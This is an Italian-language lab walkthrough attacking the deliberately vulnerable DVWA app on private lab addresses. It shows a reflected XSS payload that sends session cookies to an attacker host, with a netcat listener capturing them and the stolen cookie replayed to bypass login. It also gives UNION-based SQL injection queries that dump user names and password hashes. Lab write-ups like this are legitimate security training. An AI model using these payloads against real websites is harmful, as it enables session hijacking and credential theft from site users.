

XSS Reflected

Target: http://192.168.50.101/dvwa/vulnerabilities/xss_r/

level: low

Descrizione:

Per prima cosa, vediamo se il target è vulnerabile ad un attacco XSS. Per fare ciò, ci basta provare ad inserire nel form un comando semplice come questo:

```
<script> alert("Sono vulnerabile!") </script>
```



Non solo il tag script è abilitato ma vediamo anche che l'url cambia nel seguente modo:

http://192.168.50.101/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27Sono+Vulnerabile%21%27%29%3C%2Fscript%3E#

Vediamo che all'url viene aggiunto il campo **name** seguito dalla stringa che abbiamo inserito.

Questo ci permette di ottenere dati sensibili come, ad esempio, i cookie di sessione.

Un attaccante che vuole entrare in possesso dei cookie potrebbe creare uno script che gli invii direttamente queste informazioni.

Un possibile script per ottenere i cookie potrebbe essere il seguente:

```
<script>  
let img = new Image(); img.src = http://192.168.50.100:12345? + document.cookie  
</script>
```

Spiegazione del codice:

`let img = new Image();` - Questo crea un nuovo oggetto immagine in JavaScript.

`img.src = "http://192.168.50.100:12345?q=" + document.cookie;`

Impostando la proprietà `src` dell'oggetto immagine a un URL (quello dell'attaccante) che include i cookie del documento, il browser invia una richiesta GET a quell'URL. Questo URL contiene i cookie del documento come parametro di query.

Creato il link malevolo, l'attaccante si mette in attesa tramite un tool come netcat configurato nel seguente modo:

netcat -lvp 12345

-l: Questa opzione indica a Netcat di ascoltare per connessioni in ingresso (listener mode). Altrimenti, di default netcat opera in modalità client.

-v: Opzione verbose, che mostra informazioni su ciò che netcat sta facendo, come la gestione delle connessioni in arrivo.

-p: Specifica la porta su cui netcat deve ascoltare le connessioni in ingresso. In questo

caso, la porta è la 12345.

```
(kali㉿kali)-[~]  
$ nc -lvp 12345  
listening on [any] 12345 ...
```

Nel momento in cui una vittima clicchi sul link malevolo netcat riceverà la GET con tanto di cookie

```
(kali㉿kali)-[~]  
$ nc -lvp 12345  
listening on [any] 12345 ...  
  
192.168.50.100: inverse host lookup failed: Unknown host  
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.100] 51304  
GET /?security=low;%20PHPSESSID=c4695524ac18cd0843717d52c1100346 HTTP/1.1  
Host: 192.168.50.100:12345  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: image/avif,image/webp,*/  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://192.168.50.101/  
  
DOWA Security  
PHP Info  
About  
Username: admin  
Security Level: low  
PHPIDS: disabled
```

Da qui, l'attaccante può usare i cookie per entrare direttamente sulla pagina target senza bisogno di credenziali. Ad esempio, potrebbe utilizzare nuovamente netcat, questa volta in modalità client, per accedere al sito.

La configurazione sarebbe:

nc <IP> <Porta> per stabilire la connessione verso il target

GET /dvwa/ HTTP/1.0 per ottenere una GET sull pagina dvwa con la versione di http 1.0

Cookie dove andiamo ad inserire i cookie ottenuti dallo script così da bypassare il login

```
(kali㉿kali)-[~]  
$ nc 192.168.50.101 80  
GET /dvwa/ HTTP/1.0  
Cookie: security=low;%20PHPSESSID=b1a707bc1ad685c6e0989ec033a09496
```

Ecco che l'attaccante è riuscito ad entrare nella pagina dvwa

```
class="body_padded">  
  
<h1>Welcome to Damn Vulnerable Web App!</h1>  
  
<p>Damn Vulnerable Web App (DVWA) is a PHP/MySQL
```

Nota: A livello medium basta scrivere <Script> con la s maiuscola per far funzionare il codice.

SQL INJECTION

Target: http://192.168.50.101/dvwa/vulnerabilities/sqli/
level: low

Descrizione:>

Tramite delle query apposite possiamo estrarre informazioni preziosi da un database. Per esempio, usando la seguente query vediamo i nomi delle tabelle presenti nel database.

' UNION SELECT table_name,null FROM information_schema.columns --

```
ID: ' UNION SELECT table_name,null FROM information_schema.columns --
First name: VIEWS
Surname:
```

```
ID: ' UNION SELECT table_name,null FROM information_schema.columns --
First name: guestbook
Surname:
```

```
ID: ' UNION SELECT table_name,null FROM information_schema.columns --
First name: users
Surname:
```

```
ID: ' UNION SELECT table_name,null FROM information_schema.columns --
First name: accounts
Surname:
```

Spiegazione della query:

' : L'apice singolo (') all'inizio provoca l'interruzione della query originale permettendo così l'inserimento di una nuova query.

UNION SELECT: La clausola UNION viene utilizzata per combinare i risultati di due o più query SELECT. In questo caso, viene utilizzata per combinare i risultati della query precedente con i risultati della query SELECT table_name, null FROM information_schema.columns.

SELECT table_name, null: Questa parte della query seleziona i nomi delle tabelle (table_name) dalla vista information_schema.columns. Il secondo campo è impostato a null, perché la query originale ha due colonne, quindi la query di injection deve restituire lo stesso numero di colonne per evitare errori.

FROM information_schema.columns: information_schema.columns contiene informazioni sulle colonne di tutte le tabelle nel database. Qui stiamo selezionando solo i nomi delle tabelle, ma stiamo usando le colonne (columns), il che implica che ci sarà una riga per ogni colonna in ogni tabella.

--: Questo è un commento SQL che indica al database di ignorare tutto il testo che segue. In questo modo, se c'è altro codice SQL dopo questa iniezione, verrà ignorato.

Ottenute queste informazioni, possiamo decidere di estrarre informazioni da una delle tabelle, ad esempio il nome delle colonne presenti nella tabella users tramite la clausola **WHERE**

' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = 'users' --

```
ID: ' UNION SELECT column_
First name: user_id
Surname:

ID: ' UNION SELECT column_
First name: first_name
Surname:

ID: ' UNION SELECT column_
First name: last_name
Surname:

ID: ' UNION SELECT column_
First name: user
Surname:

ID: ' UNION SELECT column_
First name: password
Surname:

ID: ' UNION SELECT column_
First name: avatar
Surname:
```

Infine, possiamo estrarre le informazioni desiderate dalle varie colonne e concatenarle con la clausola CONCAT :

' UNION SELECT CONCAT("ID:",user_id," first_N:",first_name," last_N:",last_name), CONCAT("user:",user," psw:",password) FROM users -- FROM users --

```
ID: ' UNION SELECT CONCAT("ID:",user_id," FN:",first_name,"
First name: ID:1 FN:admin LN:admin
Surname: user:admin psw:5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT CONCAT("ID:",user_id," FN:",first_name,"
First name: ID:2 FN:Gordon LN:Brown
Surname: user:gordonb psw:e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT CONCAT("ID:",user_id," FN:",first_name,"
First name: ID:3 FN:Hack LN:Me
Surname: user:1337 psw:8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT CONCAT("ID:",user_id," FN:",first_name,"
First name: ID:4 FN:Pablo LN:Picasso
Surname: user:pablo psw:0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT CONCAT("ID:",user_id," FN:",first_name,"
First name: ID:5 FN:Bob LN:Smith
Surname: user:smithy psw:5f4dcc3b5aa765d61d8327deb882cf99
```